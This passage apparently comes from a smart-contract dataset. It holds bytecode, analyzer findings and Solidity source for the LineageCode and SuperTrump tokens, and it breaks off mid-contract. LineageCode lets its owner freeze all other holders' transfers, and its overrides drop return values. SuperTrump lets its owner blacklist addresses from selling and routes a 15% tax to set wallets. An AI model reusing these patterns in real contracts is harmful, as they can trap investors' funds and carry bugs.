915061290a836129f1565b92508261291a57612919612b18565b5b828204905092915050565b6000612930826129f1565b915061293b836129f1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561297457612973612ae9565b5b828202905092915050565b600061298a826129f1565b9150612995836129f1565b9250828210156129a8576129a7612ae9565b5b828203905092915050565b60006129be826129d1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612a28578082015181840152602081019050612a0d565b83811115612a37576000848401525b50505050565b60006002820490506001821680612a5557607f821691505b60208210811415612a6957612a68612b47565b5b50919050565b612a7882612c17565b810181811067ffffffffffffffff82111715612a9757612a96612bd4565b5b80604052505050565b6000612aab826129f1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ade57612add612ae9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f4164647265737320616c726561647920696e20746f6b656e206c697374000000600082015250565b7f4164647265737320616c726561647920696e20646973747269627574696f6e2060008201527f6c69737400000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f5368617265206d7573742062652067726561746572207468616e207a65726f00600082015250565b7f41646472657373206e6f7420696e20746f6b656e206c69737400000000000000600082015250565b7f41646472657373206e6f7420696e20646973747269627574696f6e206c697374600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4554480000000000000000000000000000000000000000000000000000000000600082015250565b7f546f2073657420736861726520746f207a65726f2c207573652072656d6f766560008201527f4469737428290000000000000000000000000000000000000000000000000000602082015250565b612e3d816129b3565b8114612e4857600080fd5b50565b612e54816129c5565b8114612e5f57600080fd5b50565b612e6b816129f1565b8114612e7657600080fd5b5056fea2646970667358221220728cabad84b87ed2670e2fdf7c7732154abeacf2c2a0b9f4a339cefb0e4327d864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 1,634 |
0xe1614c1bbe3550381624828118d6c3f7e8030901
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract LineageCode is StandardToken {
string public name = 'LineageCode';
string public symbol = 'LIN';
uint public decimals = 10;
uint public INITIAL_SUPPLY = 80 * 100000000 * (10 ** decimals);
address owner;
bool public released = false;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
owner = msg.sender;
}
function release() public {
require(owner == msg.sender);
require(!released);
released = true;
}
function lock() public {
require(owner == msg.sender);
require(released);
released = false;
}
function get_Release() view public returns (bool) {
return released;
}
modifier onlyReleased() {
if (owner != msg.sender)
require(released);
_;
}
function transfer(address to, uint256 value) public onlyReleased returns (bool) {
super.transfer(to, value);
}
function allowance(address _owner, address _spender) public onlyReleased view returns (uint256) {
super.allowance(_owner, _spender);
}
function transferFrom(address from, address to, uint256 value) public onlyReleased returns (bool) {
super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public onlyReleased returns (bool) {
super.approve(spender, value);
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b5780632ff2e9dc14610290578063313ce567146102bb57806366188463146102e657806370a082311461034b57806386d1a69f146103a257806395d89b41146103b95780639613252114610449578063a9059cbb14610478578063c73aae86146104dd578063d73dd6231461050c578063dd62ed3e14610571578063f83d08ba146105e8575b600080fd5b3480156100f757600080fd5b506101006105ff565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069d565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f5610723565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072d565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a56107b5565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102d06107bb565b6040518082815260200191505060405180910390f35b3480156102f257600080fd5b50610331600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c1565b604051808215151515815260200191505060405180910390f35b34801561035757600080fd5b5061038c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a52565b6040518082815260200191505060405180910390f35b3480156103ae57600080fd5b506103b7610a9a565b005b3480156103c557600080fd5b506103ce610b2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040e5780820151818401526020810190506103f3565b50505050905090810190601f16801561043b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561045557600080fd5b5061045e610bcd565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610be0565b604051808215151515815260200191505060405180910390f35b3480156104e957600080fd5b506104f2610c66565b604051808215151515815260200191505060405180910390f35b34801561051857600080fd5b50610557600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7d565b604051808215151515815260200191505060405180910390f35b34801561057d57600080fd5b506105d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e79565b6040518082815260200191505060405180910390f35b3480156105f457600080fd5b506105fd610eff565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106955780601f1061066a57610100808354040283529160200191610695565b820191906000526020600020905b81548152906001019060200180831161067857829003601f168201915b505050505081565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561071257600760149054906101000a900460ff16151561071157600080fd5b5b61071c8383610f93565b5092915050565b6000600154905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156107a257600760149054906101000a900460ff1615156107a157600080fd5b5b6107ad848484611085565b509392505050565b60065481565b60055481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156108d2576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610966565b6108e5838261143f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610af657600080fd5b600760149054906101000a900460ff16151515610b1257600080fd5b6001600760146101000a81548160ff021916908315150217905550565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bc55780601f10610b9a57610100808354040283529160200191610bc5565b820191906000526020600020905b815481529060010190602001808311610ba857829003601f168201915b505050505081565b600760149054906101000a900460ff1681565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610c5557600760149054906101000a900460ff161515610c5457600080fd5b5b610c5f8383611458565b5092915050565b6000600760149054906101000a900460ff16905090565b6000610d0e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610eee57600760149054906101000a900460ff161515610eed57600080fd5b5b610ef88383611693565b5092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610f5b57600080fd5b600760149054906101000a900460ff161515610f7657600080fd5b6000600760146101000a81548160ff021916908315150217905550565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110c257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561110f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561119a57600080fd5b6111eb826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061127e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561144d57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561149557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114e257600080fd5b611533826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000818301905082811015151561168a57fe5b80905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a723058202baaa1f0cf502b74819d9935db2303ab4411e3228e931b54d9a7ed94f0e8a8860029
|
{"success": true, "error": null, "results": {}}
| 1,635 |
0xBc0A9dBA0Ece69ECaB879446B76Ae33Ae3C93723
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SuperTrump is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private setTax;
uint256 private setRedis;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
address payable private stimulusCheck;
string private constant _name = "SuperTrump || https://t.me/SuperTrumpETH";
string private constant _symbol = "STT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1,address payable _add2,address payable _add3,address payable _add4) {
_feeAddrWallet1 = _add1;
_feeAddrWallet2 = _add2;
_feeAddrWallet3 = _add3;
stimulusCheck = _add4;
_rOwned[_feeAddrWallet1] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), _feeAddrWallet1, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = setRedis;
_feeAddr2 = setTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > _tTotal/1000){
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function liftMaxTrnx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 toSend = amount/100;
_feeAddrWallet1.transfer(toSend*20);
_feeAddrWallet2.transfer(toSend*20);
_feeAddrWallet3.transfer(toSend*20);
stimulusCheck.transfer(toSend*40);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
setTax = 15;
setRedis = 0;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal/100*3;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklist(address _address) external onlyOwner{
bots[_address] = true;
}
function removeBlacklist(address notbot) external onlyOwner{
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet2);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
